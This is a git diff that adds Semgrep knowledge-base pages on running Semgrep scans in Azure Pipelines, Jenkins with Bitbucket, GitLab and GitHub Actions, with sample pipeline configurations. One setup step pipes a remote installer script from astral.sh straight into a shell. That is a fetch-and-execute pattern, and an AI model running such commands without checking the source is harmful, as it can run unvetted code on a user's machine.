+ Optional: Add the following environment variables to the group if you aren't seeing hyperlinks to the code that generated a finding, or if you are not receiving PR or MR comments. Review the use of these variables at Environment variables for creating hyperlinks in Semgrep AppSec Platform.These variables are not sensitive and do not need to be secret variables.
+ - SEMGREP_REPO_NAME
+ - SEMGREP_REPO_URL
+ - SEMGREP_BRANCH
+ - SEMGREP_COMMIT
+ - SEMGREP_JOB_URL
+
+
+ Set variables for diff-aware scanning. The provided config sets SEMGREP_PR_ID to the system variable System.PullRequest.PullRequestId and SEMGREP_BASELINE_REF to origin/master within the script section of the config. The value of SEMGREP_BASELINE_REF is typically your trunk or default branch, so if you use a different branch than master, update the name accordingly. as main or master.
+
+ - If you prefer not to implement diff-aware scanning, you can skip setting these variables and remove the elif section of the script step.
+
+
+ For diff-aware scans: add a build validation policy. Adding and enabling a branch policy for build validation is required to trigger Azure Pipelines on pull requests.
+
+
+
+## Using uv
+
+### Prepare your runner
+
+[`uv`](https://docs.astral.sh/uv/) is a fast Python package and project manager. Its `uv tool install` command installs standalone Python applications into isolated environments, similar to `pipx`.
+
+Access the runner and install `uv` following [Astral's installation instructions](https://docs.astral.sh/uv/getting-started/installation/), for example:
+
+```bash
+$ curl -LsSf https://astral.sh/uv/install.sh | sh
+```
+
+After installing, ensure the [Azure DevOps agent](https://learn.microsoft.com/en-us/azure/devops/pipelines/agents/linux-agent?view=azure-devops) is set up and running.
+
+### Create your configuration
+
+Add the following snippet to the `azure-pipelines.yml` for the repository.
+
+```yaml expandable
+variables:
+ - group: Semgrep_Variables
+
+pool:
+ name: Default
+
+steps:
+ - checkout: self
+ clean: true
+ fetchDepth: 20
+ persistCredentials: true
+ - script: |
+ uv tool install semgrep
+ if [ $(Build.SourceBranchName) = "master" ]; then
+ echo "Semgrep full scan"
+ semgrep ci
+ elif [ $(System.PullRequest.PullRequestId) -ge 0 ]; then
+ echo "Semgrep diff scan"
+ git fetch origin master:origin/master
+ export SEMGREP_PR_ID=$(System.PullRequest.PullRequestId)
+ export SEMGREP_BASELINE_REF='origin/master'
+ semgrep ci
+ fi
+ env:
+ SEMGREP_APP_TOKEN: $(SEMGREP_APP_TOKEN)
+```
+
+
+**CUSTOMIZING THE CONFIGURATION**
+
+- If your self-hosted runner [agent pool](https://learn.microsoft.com/en-us/azure/devops/pipelines/agents/pools-queues?view=azure-devops&tabs=yaml%2Cbrowser) has a different name, update the `name` key under `pool` to match the desired agent pool.
+- If your default branch is not called `master`, update the references to `master` to match the name of your default branch.
+
+
+## Set environment variables in Azure Pipelines
+
+Semgrep minimally requires the variable SEMGREP_APP_TOKEN in order to report results to the platform, and other variables may be helpful as well. To set these variables in Azure Pipelines:
+
+
+
+ Set up a variable group called Semgrep_Variables.
+
+
+ Set SEMGREP_APP_TOKEN in the variable group, following the steps for secret variables. The variable is mapped into the env in the provided config.
+
+
+ Optional: Add the following environment variables to the group if you aren't seeing hyperlinks to the code that generated a finding, or if you are not receiving PR or MR comments. Review the use of these variables at Environment variables for creating hyperlinks in Semgrep AppSec Platform.These variables are not sensitive and do not need to be secret variables.
+ - SEMGREP_REPO_NAME
+ - SEMGREP_REPO_URL
+ - SEMGREP_BRANCH
+ - SEMGREP_COMMIT
+ - SEMGREP_JOB_URL
+
+
+ Set variables for diff-aware scanning. The provided config sets SEMGREP_PR_ID to the system variable System.PullRequest.PullRequestId and SEMGREP_BASELINE_REF to origin/master within the script section of the config. The value of SEMGREP_BASELINE_REF is typically your trunk or default branch, so if you use a different branch than master, update the name accordingly. as main or master.
+ - If you prefer not to implement diff-aware scanning, you can skip setting these variables and remove the elif section of the script step.
+
+
+ For diff-aware scans: add a build validation policy. Adding and enabling a branch policy for build validation is required to trigger Azure Pipelines on pull requests.
+
+
diff --git a/mintlify-docs/kb/semgrep-ci/azure-using-templates-with-semgrep.mdx b/mintlify-docs/kb/semgrep-ci/azure-using-templates-with-semgrep.mdx
new file mode 100644
index 0000000000..3786d5d3d9
--- /dev/null
+++ b/mintlify-docs/kb/semgrep-ci/azure-using-templates-with-semgrep.mdx
@@ -0,0 +1,96 @@
+---
+title: "Running Semgrep using templates in Azure Pipelines"
+---
+
+## Motivation
+
+Complex CI configurations housed in large YAML files take a lot of work to maintain and modify. Azure [templates](https://learn.microsoft.com/en-us/azure/devops/pipelines/process/templates?view=azure-devops) extract chunks of logic from larger configurations and encapsulate them in external template files. The template can then be referenced in multiple configurations, keeping pipelines more readable and maintainable.
+
+This guide explains how to:
+
+- Create template files to run various Semgrep commands.
+- Include or call templates in your Azure Pipeline.
+
+You can then reuse the template files in as many pipelines as you need.
+
+## Defining Semgrep commands in a template file
+
+To add Semgrep commands in a YAML template file:
+
+
+
+ Create a `templates` folder in the repository you want to run Semgrep in.
+
+
+ Commit the following templates:
+
+ Example YAML template file for a Semgrep full scan:
+
+ ```yaml
+ steps:
+ - script: |
+ echo "Semgrep full scan"
+ python -m pip install --upgrade pipx
+ pipx install semgrep
+ semgrep ci
+ ```
+
+ Example YAML template file for a Semgrep pull request scan:
+
+ ```yaml
+ steps:
+ - checkout: self
+ clean: true
+ fetchDepth: 10000
+ persistCredentials: true
+ - script: |
+ echo "Pull Request Scan from branch: $(Build.SourceBranchName)"
+ git fetch origin master:origin/master
+ python -m pip install --upgrade pipx
+ pipx install semgrep
+ semgrep ci
+ env:
+ SEMGREP_PR_ID: $(System.PullRequest.PullRequestNumber)
+ SEMGREP_BASELINE_REF: 'origin/master'
+ ```
+
+
+
+
+**NOTE**
+
+You must define separate templates for full scans and [diff-aware scans](/deployment/customize-ci-jobs#set-up-diff-aware-scans). This is because there are different environment variables used in the template for diff-aware scans, such as `SEMGREP_PR_ID` and `SEMGREP_BASELINE_REF`.
+
+
+## Referencing templates in an Azure Pipeline
+
+With the templates defined, reference them in other Azure Pipelines like this:
+
+```yaml
+pool:
+ vmImage: ubuntu-latest
+
+variables:
+- group: Semgrep_Variables
+
+jobs:
+- job: Semgrep_Full_Scan
+ condition: eq(variables['Build.SourceBranchName'], 'master')
+ steps:
+ - template: templates/full_scan_semgrep.yml
+
+- job: Semgrep_PR_Scan
+ condition: ne(variables['Build.SourceBranchName'], 'master')
+ steps:
+ - template: templates/pr_scan_semgrep.yml
+```
+
+
+**TIP**
+
+You can even define your templates in a centralized repository and [reference them in other repositories](https://learn.microsoft.com/en-us/azure/devops/pipelines/process/templates?view=azure-devops#use-other-repositories).
+
+
+## Conclusion
+
+Using templates in Azure Pipelines is a good practice to simplify pipeline configuration files, improving both readability and maintainability. Pipeline templates can also speed up the Semgrep onboarding process for repositories by allowing you to reuse the same template in each repository.
diff --git a/mintlify-docs/kb/semgrep-ci/bitbucket-jenkins.mdx b/mintlify-docs/kb/semgrep-ci/bitbucket-jenkins.mdx
new file mode 100644
index 0000000000..26e5b57f23
--- /dev/null
+++ b/mintlify-docs/kb/semgrep-ci/bitbucket-jenkins.mdx
@@ -0,0 +1,255 @@
+---
+title: "Run Semgrep in Jenkins when using Bitbucket as the source code manager"
+---
+
+To scan your code hosted by Bitbucket with Semgrep using a Jenkins project or pipeline, you must:
+
+1. Set up webhooks to connect Jenkins to Bitbucket.
+2. Configure the Jenkins project or pipeline to run Semgrep.
+
+## Set up webhooks to allow triggering events from Bitbucket to Jenkins
+
+Webhooks are required to connect your Bitbucket source code manager (SCM) to Jenkins.
+
+
+**PREREQUISITES**
+
+You must install the Bitbucket Push and Pull Request plugin on your Jenkins server. This method requires that your Jenkins instance be compatible with this plugin.
+
+
+
+
+ Log in to Bitbucket, and go to your repository.
+
+
+ In your Bitbucket repository, go to **Repository Settings > Webhooks > Add webhook**.
+
+
+ Enter a **Title** for your webhook.
+
+
+ Enter the **URL** for your Jenkins instance using the following pattern: `https:///bitbucket-hook/`.
+
+
+ Add the following **Triggers**:
+ i. In the **Repository** list, select **Push**.
+ ii. In the **Pull request** list, select **Created** and **Updated**.
+
+
+
+## Configure Jenkins to run Semgrep
+
+
+
+
+
+ Sign in to Jenkins.
+
+
+ From the **Jenkins Dashboard** click on create a **New Item**.
+
+
+ Enter a project name, select **Pipeline** option, and click **OK**.
+
+
+ In the **General > Triggers** section, select **Build with BitBucket Push and Pull Request Plugin**.
+
+
+ Create the **Triggers**:
+ i. Click **Add**.
+ ii. Select one of the following: **Bitbucket Cloud Pull Request**, **Bitbucket Server Pull Request**, or **Push**.
+ iii. In **Select an Action**, select **Created**.
+ iv. Click **Add** again, and select the same trigger as before: **Bitbucket Cloud Pull Request**, **Bitbucket Server Pull Request**, or **Push**.
+ v. In **Select an Action**, select **Updated**.
+
+
+ Go to the **Pipeline** section. In **Definition**, select **Pipeline script from SCM**.
+ i. In **SCM**, select **Git**.
+ ii. In **Repositories > Repository URL**, enter your Bitbucket repository URL.
+ iii. In **Branch Specifier (blank for 'any')**, enter the name of your main branch.
+ iv. In **Script Path**, enter `Jenkinsfile`.
+
+
+ Click **Save**.
+
+
+
+ ### Create and add the Jenkinsfile to your repository
+
+ Create the Jenkinsfile in your Bitbucket repository. The file must define the logic to start:
+
+ - Diff-aware scans if the scan is started in the context of a pull request
+ - Full scans if you push changes to the main branch
+
+ The following code snippets are sample Jenkinsfiles that define both of these actions. Choose the file for your deployment based on whether you're using Bitbucket Cloud or Bitbucket Data Center.
+
+
+
+ ```groovy expandable
+ pipeline {
+ agent any
+ environment {
+ SEMGREP_APP_TOKEN = credentials('SEMGREP_APP_TOKEN')
+ SEMGREP_BASELINE_REF = "origin/main"
+ }
+ stages {
+ stage('Semgrep-Scan') {
+ steps {
+ script {
+ if (env.BITBUCKET_PULL_REQUEST_ID) {
+ echo "Semgrep diff scan"
+ sh '''git checkout ${BITBUCKET_PULL_REQUEST_LATEST_COMMIT_FROM_SOURCE_BRANCH}'''
+ sh '''git fetch origin +ref/heads/*:refs/remotes/origin/*'''
+ sh '''docker run \
+ -e SEMGREP_APP_TOKEN=$SEMGREP_APP_TOKEN \
+ -e SEMGREP_PR_ID=${BITBUCKET_PULL_REQUEST_ID} \
+ -e SEMGREP_BASELINE_REF=$SEMGREP_BASELINE_REF \
+ -v "$(pwd):$(pwd)" --workdir $(pwd) \
+ semgrep/semgrep semgrep ci'''
+ } else {
+ echo "Semgrep full scan"
+ sh '''docker run \
+ -e SEMGREP_APP_TOKEN=$SEMGREP_APP_TOKEN \
+ -v "$(pwd):$(pwd)" --workdir $(pwd) \
+ semgrep/semgrep semgrep ci'''
+ }
+ }
+ }
+ }
+ }
+ }
+ ```
+
+ Note that:
+
+ - You must define `SEMGREP_APP_TOKEN` in Jenkins. You can [create the required token in Semgrep AppSec Platform](https://semgrep.dev/orgs/-/settings/tokens/cli).
+ - The variable `SEMGREP_BASELINE_REF` in the code snippet must be set to the primary or default branch, which in the example is `origin/main`.
+
+
+
+ ```javascript expandable
+ pipeline {
+ agent any
+ environment {
+ // The following variable is required for a Semgrep AppSec Platform-connected scan:
+ SEMGREP_APP_TOKEN = credentials('SEMGREP_APP_TOKEN')
+ BITBUCKET_TOKEN = credentials('FS_BITBUCKET_TOKEN')
+
+ // Uncomment the following line to scan changed
+ // files in PRs or MRs (diff-aware scanning):
+ // SEMGREP_BASELINE_REF = "${env.CHANGE_ID != null ? 'main' : ''}"
+
+ // Troubleshooting:
+
+ // Uncomment the following lines if Semgrep AppSec Platform > Findings Page does not create links
+ // to the code that generated a finding or if you are not receiving PR or MR comments.
+ // SEMGREP_JOB_URL = "${BUILD_URL}"
+ // SEMGREP_COMMIT = "${GIT_COMMIT}"
+ // SEMGREP_BRANCH = "${GIT_BRANCH}"
+ // SEMGREP_REPO_NAME = env.GIT_URL.replaceFirst(/^https:\/\/YOUR_BITBUCKET_DATA_CENTER_URL\/scm\/(.*).git$/, '$1')
+ // SEMGREP_REPO_URL = env.GIT_URL.replaceFirst(/^(https:\/\/.*?)\/scm\/(.*)\/(.*)\.git$/, '$1/projects/$2/repos/$3')
+ // SEMGREP_PR_ID = "${env.CHANGE_ID != null ? env.CHANGE_ID : ''}"
+ SEMGREP_APP_URL = "https://semgrep.dev"
+ }
+ stages {
+ stage('Semgrep-Scan') {
+ steps {
+ sh 'pipx install semgrep'
+ sh 'semgrep ci'
+ }
+ }
+ }
+ }
+ ```
+
+
+
+
+
+ To set up a Freestyle project to scan your Bitbucket projects with Semgrep:
+
+
+
+ Sign in to Jenkins.
+
+
+ [Define `SEMGREP_APP_TOKEN` as a credential](https://www.jenkins.io/doc/book/using/using-credentials/#configuring-credentials) in Jenkins. You will add this credential to your project at a later step.
+
+
+ From the Jenkins **Dashboard**, click **New Item**.
+
+
+ Type a project name, select **Freestyle project**, and click **OK**.
+
+
+ Go to **General > Source Code Management**. Select **Git**. Then:
+ i. Add your Bitbucket **Repository URL**
+ ii. Add the **Credentials** needed to check out your sources
+ iii. Add the **Branches to build**
+
+
+ In the **Triggers** section, select **Build with Bitbucket Push and Pull Request Plugin**. Then, create the **Triggers**:
+ i. Click **Add**.
+ ii. Select one of the following: **Bitbucket Cloud Pull Request** or **Bitbucket Server Pull Request**.
+ iii. In **Select an Action**, select **Created**.
+ iv. Click **Add** again, and select the same trigger as before: **Bitbucket Cloud Pull Request** or **Bitbucket Server Pull Request**.
+ v. In **Select an Action**, select **Updated**.
+ vi. Click **Add > Push**.
+
+
+ Next, add your Semgrep token to the environment:
+ i. In the **Environment** section, select **Use secret text(s) or file(s)**.
+ ii. Under **Bindings**, select **Secret text**.
+ iii. Set **Variable** to `SEMGREP_APP_TOKEN`.
+ iv. Under **Credentials > Specific credentials**, choose the defined credential for the token.
+ v. Click **Add** to save your changes.
+
+
+ In the **Build Steps** section, click **Add build step > Execute shell**. In **Command**, provide one of the following scripts to run Semgrep:
+ ```bash expandable
+ #!/bin/bash
+ BASELINE_REF="main"
+ BASELINE_REF_ORIGIN="origin/$BASELINE_REF"
+ REPO_URL=$GIT_URL
+ REPO_NAME=$(echo "$GIT_URL" | awk -F'/' '{print $(NF-1)"/"$(NF)}' | sed 's/.git$//')
+
+ ## Merge or push to primary branch
+ if [ $BITBUCKET_SOURCE_BRANCH = $BASELINE_REF ]; then
+ docker run -e SEMGREP_APP_TOKEN=$SEMGREP_APP_TOKEN \
+ -e SEMGREP_REPO_URL=$REPO_URL \
+ -e SEMGREP_REPO_NAME=$REPO_NAME \
+ -v "$(pwd):$(pwd)" --workdir $(pwd) \
+ semgrep/semgrep semgrep ci
+ ## pull request scans
+ elif [ $BITBUCKET_PULL_REQUEST_ID -ge 0 ]; then
+ git checkout $BITBUCKET_SOURCE_BRANCH && git pull
+ docker run -e SEMGREP_APP_TOKEN=$SEMGREP_APP_TOKEN \
+ -e SEMGREP_BASELINE_REF=$BASELINE_REF_ORIGIN \
+ -e SEMGREP_REPO_URL=$REPO_URL \
+ -e SEMGREP_REPO_NAME=$REPO_NAME \
+ -e SEMGREP_BRANCH=$BITBUCKET_SOURCE_BRANCH \
+ -e SEMGREP_PR_ID=$BITBUCKET_PULL_REQUEST_ID \
+ -v "$(pwd):/src" \
+ semgrep/semgrep semgrep ci
+ fi
+ ```
+
+ **NOTE**
+
+ - The variable `SEMGREP_BASELINE_REF` must be set to the default branch, which is `main` in the preceding example.
+ - The configuration for a diff-aware scan must specify a merge base against which the pull request changes are compared. To do this:
+ - Set the pull request target branch as `SEMGREP_BASELINE_REF`
+ - Set `SEMGREP_BRANCH` to the pull request source branch to ensure it's correctly identified.
+ - Set `SEMGREP_PR_ID` so that Semgrep can send comments to the relevant pull request.
+
+
+
+
+
+
+### Test the implementation
+
+To ensure that Semgrep scans correctly in your Jenkins pipeline or project:
+
+1. Commit a change to your repository, and create a pull request. This automatically runs a Semgrep diff-aware scan in Jenkins. Note that the job can fail if there are blocking findings as a result of the scan.
+2. Merge the pull request to commit the changes to `main`. This triggers a full scan in Jenkins.
diff --git a/mintlify-docs/kb/semgrep-ci/ci-vs-cli.mdx b/mintlify-docs/kb/semgrep-ci/ci-vs-cli.mdx
new file mode 100644
index 0000000000..78f314fb98
--- /dev/null
+++ b/mintlify-docs/kb/semgrep-ci/ci-vs-cli.mdx
@@ -0,0 +1,67 @@
+---
+title: "Semgrep in CI vs CLI: align your SAST scan results and understand differences"
+---
+
+When configuring Semgrep, it can be helpful to run it both using the command-line interface (CLI) and in continuous integration (CI) to review findings behavior.
+
+However, the two methods of running Semgrep have somewhat different behavior by default, so the findings may not be directly comparable. If you're seeing different findings with a CLI scan as compared to a scan in CI, here are some possible reasons.
+
+## Installation methods and versioning
+
+When comparing Semgrep scans in CI and CLI, ensure that you are running the same version of Semgrep on the CLI as in CI, and that it is [installed](/getting-started/cli) in the same way as it is in CI.
+
+If you use Semgrep's Docker image in CI and are running the CLI scan locally, the best options are:
+
+- Use the Docker container locally.
+- Install Semgrep using `brew` (Mac only).
+
+## Branches and diff-aware scans
+
+When comparing findings, ensure that the scans were run on the same code. To compare results for an entire repository, the best option is to scan the latest commit to the default branch.
+
+When running Semgrep in CI, if the triggering event is a pull request or merge request, the recommended configuration runs a [diff-aware scan](/deployment/customize-ci-jobs#set-up-diff-aware-scans), so only findings identified in the changed code are reported. Therefore, not all findings are reported in these scans.
+
+## Rule configuration
+
+If you use Semgrep with Semgrep AppSec Platform, `semgrep ci` with no additional arguments executes a scan using your organization's [policies](/semgrep-code/policies) configuration. Findings are determined by the rules present in different policies. If you have any organization-specific rules in your policies, those are included as well.
+
+Findings on rules in the Blocking policy cause the scan to finish with exit code 1. See also [Blocking findings and errors](#blocking-findings-and-errors).
+
+On the other hand, `semgrep --config auto` executes a scan using relevant rules from the [Semgrep Registry](https://semgrep.dev/explore), without using a particular configuration. It does not include organization-specific rules from Semgrep AppSec Platform.
+
+To address this difference, run `semgrep scan` with specific rules or rulesets that closely match your policies. For example, if your policies include only the "default" ruleset in the Monitor column, running:
+
+```bash
+semgrep --config "p/default"
+```
+
+would give similar results to `semgrep ci`.
+
+## Pro analysis
+
+When using `semgrep ci` with Semgrep AppSec Platform, you can configure whether the scan uses cross-file analysis in [Settings](https://semgrep.dev/orgs/-/settings/general/code). If you enable cross-file analysis, Semgrep performs cross-file and cross-function analysis for [supported languages](/supported-languages).
+
+If cross-file analysis is not enabled in Semgrep AppSec Platform, [Pro rules](/semgrep-code/pro-rules) are used, but they are run using cross-function analysis within single files.
+
+To perform a CLI scan using cross-file analysis, ensure you've run `semgrep install-semgrep-pro` to [install the additional semgrep binary](/semgrep-code/semgrep-pro-engine-intro/#run-cross-file-analysis-in-the-cli), and include `--pro` in your command:
+
+```bash
+semgrep --config auto --pro
+```
+
+To disable cross-file analysis in CI while still using Pro Engine, use:
+
+```bash
+semgrep ci --pro-intrafile
+```
+If you want to fully revert to OSS-only analysis, disabling Pro Engine entirely, use:
+
+```bash
+semgrep ci --oss-only
+```
+
+## Blocking findings and errors
+
+If you use Semgrep in CI without Semgrep AppSec Platform, `semgrep ci` finishes with exit code 1 if there are any findings, since there is no way to distinguish blocking from non-blocking findings. Review [Configuring blocking findings and errors in continuous integration (CI)](/semgrep-ci/configuring-blocking-and-errors-in-ci) to change this behavior.
+
+The CLI command `semgrep scan` finishes with exit code 0 by default as long as the scan is able to complete, even if there are findings. To finish with exit code 1 on any findings, use the `--error` flag.
diff --git a/mintlify-docs/kb/semgrep-ci/collect-gha-logs.mdx b/mintlify-docs/kb/semgrep-ci/collect-gha-logs.mdx
new file mode 100644
index 0000000000..f48e97b58d
--- /dev/null
+++ b/mintlify-docs/kb/semgrep-ci/collect-gha-logs.mdx
@@ -0,0 +1,50 @@
+---
+title: "Collecting Semgrep GitHub Actions logs from GitHub"
+---
+
+
+To retrieve a log, perform the following steps:
+
+
+
+ Navigate to the main page of the GitHub repository you are troubleshooting or scanning.
+
+
+ Click the **Actions** tab.
+
+
+ 
+
+
+
+ In the Actions page, click the Semgrep workflow run that you want to retrieve logs for. The name depends on your configuration. By default, it is named **Semgrep**.
+
+ **TIP**
+
+ Your repository may have different workflow runs, such as linters. To quickly browse through workflow runs, you can also click the name of your workflow, typically **Semgrep** under **Actions** in the navigation bar to view only Semgrep runs.
+
+
+
+ Click the job name, typically **semgrep/ci**.
+
+
+ You are taken to the specific job page. Click the gear icon **\> Download log archive**.
+
+
+ 
+
+
+
+
+You have successfully downloaded a GitHub Actions log. You can send this as part of your ticket to [Support](/support).
+
+## Additional references
+
+
+
+
\ No newline at end of file
diff --git a/mintlify-docs/kb/semgrep-ci/collect-gitlab-logs.mdx b/mintlify-docs/kb/semgrep-ci/collect-gitlab-logs.mdx
new file mode 100644
index 0000000000..421104f915
--- /dev/null
+++ b/mintlify-docs/kb/semgrep-ci/collect-gitlab-logs.mdx
@@ -0,0 +1,42 @@
+---
+title: "GitLab Job's log exceeded limit' error"
+---
+
+When executing a GitLab job that collects verbose (`-v`) or debug (`--debug`)
+logs from Semgrep, you may see the following error message:
+
+```console
+Job's log exceeded limit of 4194304 bytes.
+Job execution will continue but no more output will be collected.
+```
+
+GitLab normally limits CI job logs to around 4 MB in size, and verbose Semgrep logs can exceed this size limit, leading to the error.
+
+## Solution: Save the log as an artifact
+
+You can save larger log files [using `artifacts` to create a job artifact](https://docs.gitlab.com/ee/ci/jobs/job_artifacts.html) from the log file.
+
+To do that:
+
+1. Update the `semgrep ci` command to redirect logs to a file: `semgrep ci --debug &> semgrep.log`.
+2. Add the resulting log file to the `artifacts` section of the CI configuration.
+
+Here is an example based on the [sample GitLab CI/CD configuration](/semgrep-ci/sample-ci-configs/#sample-gitlab-cicd-configuration-snippet):
+
+```yml
+semgrep:
+ image: semgrep/semgrep
+ script:
+ - semgrep ci --debug &> semgrep.log
+ rules:
+ - if: $CI_MERGE_REQUEST_IID
+ - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
+ variables:
+ SEMGREP_APP_TOKEN: $SEMGREP_APP_TOKEN
+ artifacts:
+ paths:
+ - semgrep.log
+ when: always
+```
+
+You can [download the full log](https://docs.gitlab.com/ee/ci/jobs/job_artifacts.html#download-job-artifacts) from several locations, including the "Job artifacts" area in the job.
diff --git a/mintlify-docs/kb/semgrep-ci/git-command-errors.mdx b/mintlify-docs/kb/semgrep-ci/git-command-errors.mdx
new file mode 100644
index 0000000000..0cf05a96fe
--- /dev/null
+++ b/mintlify-docs/kb/semgrep-ci/git-command-errors.mdx
@@ -0,0 +1,67 @@
+---
+title: "Failed to run a git command during a pull request or merge request scan"
+---
+
+
+When running Semgrep in CI with a pull request or merge request as the triggering event, Semgrep runs some additional `git` commands to determine the behavior for the scan. The scan exits with an error if these commands fail. A message like the following shows in the output:
+
+```bash
+[ERROR] Command failed with exit code: 128
+-----
+Command failed with output:
+fatal: Not a valid object name master
+
+
+Failed to run 'git '. Possible reasons:
+
+- the git binary is not available
+- the current working directory is not a git repository
+- the current working directory is not marked as safe
+ (fix with `git config --global --add safe.directory $(pwd)`)
+
+Try running the command yourself to debug the issue.
+```
+
+In addition to the potential reasons included in the message, there are a few other common reasons for git command failure:
+
+## Clone depth is too shallow
+
+If a shallow git clone of the repository is used to fetch code, and the branch to be scanned has had many commits added since it was branched off the base branch, Semgrep may not be able to identify the base branch commit to compare the current pull request or merge request branch with. In this case, the command that failed is typically:
+
+
git merge-base --all SHA FETCH_HEAD
+
+Semgrep uses the merge-base command to compare the tip of the pull request or merge request branch with the base branch and determine where it branched off, so that it can accurately scan for changes made in the merge request rather than in the base branch.
+
+If there isn't enough history to identify the branch point, this comparison can fail. This is most common if the git clone performed is shallow by default, or if the depth has been set to a small value via command line argument `--depth` or environment variable `GIT_DEPTH`.
+
+To resolve this issue, increase the clone depth to a larger value. A value such as 20 or 50 is sufficient to capture the information needed for most merge-base calculations.
+
+For GitLab CI, see [Limit the number of changes fetched during clone](https://docs.gitlab.com/ee/ci/pipelines/settings.html#limit-the-number-of-changes-fetched-during-clone) for instructions on configuring this value.
+
+### GitHub Actions clone behavior
+
+Semgrep has built-in behavior in GitHub Actions to fetch additional commits if the initial clone does not provide sufficient information, so GitHub Actions rarely encounter failures of the `git merge-base` command.
+
+However, if Semgrep is showing findings in GitHub pull requests that were not introduced by the pull request, you can set the variable [`SEMGREP_GHA_MIN_FETCH_DEPTH`](/semgrep-ci/ci-environment-variables/#semgrep_gha_min_fetch_depth) to a higher value to improve the accuracy of the merge-base calculation. This value is the starting value used for fetching additional commits. The default is 0.
+
+## Commit or branch not included in the checkout
+
+As with clone depth, which refs are checked out can vary depending on the CI environment and configuration. If the branch or ref to scan, or the related baseline ref, is not cloned or not checked out, the command that failed is typically:
+
+
git cat-file -e REF
+
+with the message `Not a valid object name REF`. This is more common when:
+
+- You are using a standalone CI service, rather than one connected to your SCM.
+- You have manually set `--baseline-commit` or `SEMGREP_BASELINE_REF` to a commit hash or branch name.
+
+To resolve this issue, ensure that you have set the baseline ref to a valid ref, and that the ref to scan is checked out in the CI environment.
+
+## Unable to use `--merge-base` option to `git diff` in git versions before 2.30
+
+When running diff scans against a baseline, Semgrep executes the `git diff` command with a `--merge-base` option to correctly calculate the desired diff based on where the current tree branched from the baseline. This option was added to the `git diff` command in git 2.30. If you are running an earlier version of `git`, this command may fail.
+
+To run the scan successfully:
+
+- If possible, update your git version.
+- If that's not possible, consider executing the scan using the Semgrep Docker container, which includes a recent version of git.
diff --git a/mintlify-docs/kb/semgrep-ci/github-repository-rulesets-semgrep.mdx b/mintlify-docs/kb/semgrep-ci/github-repository-rulesets-semgrep.mdx
new file mode 100644
index 0000000000..bf4e005d27
--- /dev/null
+++ b/mintlify-docs/kb/semgrep-ci/github-repository-rulesets-semgrep.mdx
@@ -0,0 +1,212 @@
+---
+title: "Use GitHub repository rulesets to implement Semgrep"
+---
+
+
+Use [GitHub repository rulesets](https://docs.github.com/en/enterprise-cloud@latest/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/creating-rulesets-for-a-repository#introduction) to quickly implement Semgrep scans across hundreds or thousands of repositories in your GitHub organization.
+
+Repository rulesets allow you to add a Semgrep scan as a workflow that is [required for pull requests to pass before merging](https://docs.github.com/en/enterprise-cloud@latest/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/available-rules-for-rulesets#require-workflows-to-pass-before-merging). Formerly, this feature was called [required workflows](https://github.blog/changelog/2023-08-02-github-actions-required-workflows-will-move-to-repository-rules/).
+
+Repository rulesets use a centralized workflow file to execute the Semgrep scan action, meaning you can run scans on pull requests in as many repositories as desired by creating a single file.
+
+## Set up the central Semgrep scan workflow
+
+To use the Semgrep workflow in other repositories owned by your organization, you can create a new repository in the organization with the Semgrep workflow file, or add it to an existing repository where you store common workflows. This example describes creating the workflow in a new repository called `semgrep-workflow`.
+
+
+
+ Create a new repository following the [GitHub documentation](https://docs.github.com/en/get-started/quickstart/create-a-repo).
+
+
+ Name the repository `semgrep-workflow`.
+
+
+ Choose the repository visibility that matches the widest visibility of the repositories you want to run the workflow in. For example, if you want to run Semgrep on public, internal, and private repositories, the repository containing the workflow file must be public.
+
+
+ Add the Semgrep workflow file to the repository at `.github/workflows/semgrep.yml`. You can use the [sample configuration](/semgrep-ci/sample-ci-configs/#sample-github-actions-configuration-file) provided in the documentation, or a [custom configuration](/deployment/customize-ci-jobs).
+
+
+
+
+
+
+
+This example repository is internal, so it can only be used to store workflows that run on internal and private repositories.
+
+### Behavior with bot-initiated commits
+
+The default Semgrep GitHub Actions configuration excludes any PRs or commits from GitHub's `dependabot` to prevent permissions errors. If you have other bots or automations active in your organization's workflows, consider excluding these bots as well. Otherwise, the action may error due to bot permissions, or it may simply not be useful to run a Semgrep scan on changes made by an automation. For example, to exclude both `dependabot` and other GitHub Actions, include:
+
+```yaml
+if: github.actor != 'dependabot[bot]' && github.actor != 'github-actions'
+```
+
+### Recommended configuration with merge queues
+
+If you use [merge queues](https://docs.github.com/en/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-a-merge-queue) for repositories scanned with this workflow, your config must include `merge_group` as a trigger in the `on:` block. Otherwise, [the workflow cannot run in the merge queue](https://docs.github.com/en/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-a-merge-queue#triggering-merge-group-checks-with-github-actions) and can block the queue.
+
+Unlike for `pull_request` event types, Semgrep does not have any automatic configuration to run diff-aware scans on `merge_group` events, so additional configuration is needed to run diff-aware scans in this environment. The most straightforward solution is to configure the workflow to be skipped during the merge group check, since the primary goal of a Semgrep diff-aware scan is to inform the developer **before** merging if they are introducing security issues.
+
+With the recommended alterations and removal of event types that do not occur with repository rulesets, the [sample configuration](/semgrep-ci/sample-ci-configs/#sample-github-actions-configuration-file) would look like this:
+
+```yaml expandable
+name: Semgrep
+
+on:
+ pull_request: {}
+ workflow_dispatch: {}
+ merge_group:
+ types: [checks_requested]
+
+jobs:
+ semgrep:
+ name: semgrep/ci
+ runs-on: ubuntu-latest
+
+ container:
+ image: semgrep/semgrep
+
+ # Skip any PR created by dependabot and any check triggered by merge group
+ if: (github.actor != 'dependabot[bot]') && (github.event != 'merge_group')
+
+ steps:
+ - uses: actions/checkout@v6
+ - run: semgrep ci
+ env:
+ SEMGREP_APP_TOKEN: ${{ secrets.SEMGREP_APP_TOKEN }}
+```
+
+## Configure repository workflow access
+
+The repository containing the Semgrep workflow must allow access to workflows from other repositories in the organization.
+
+To configure access:
+
+
+
+In the repository containing the Semgrep workflow, click **Settings > Actions > General**.
+
+
+In the **Access** section, select one of the **Accessible from** options to make the repository workflows accessible to your organization.
+
+
+
+
+
+
+
+## Configure an organization secret
+
+To run a scan using `semgrep ci`, Semgrep requires a valid token. When configuring Semgrep as a required workflow for multiple repositories, set up the token as an organization secret.
+
+
+**INFO**
+
+If you use a custom `semgrep.yml` configuration, ensure you refer to the secret as `${{ secrets.SEMGREP_APP_TOKEN }}` in your configuration. For the required workflow, this refers to the organization secret.
+
+
+
+
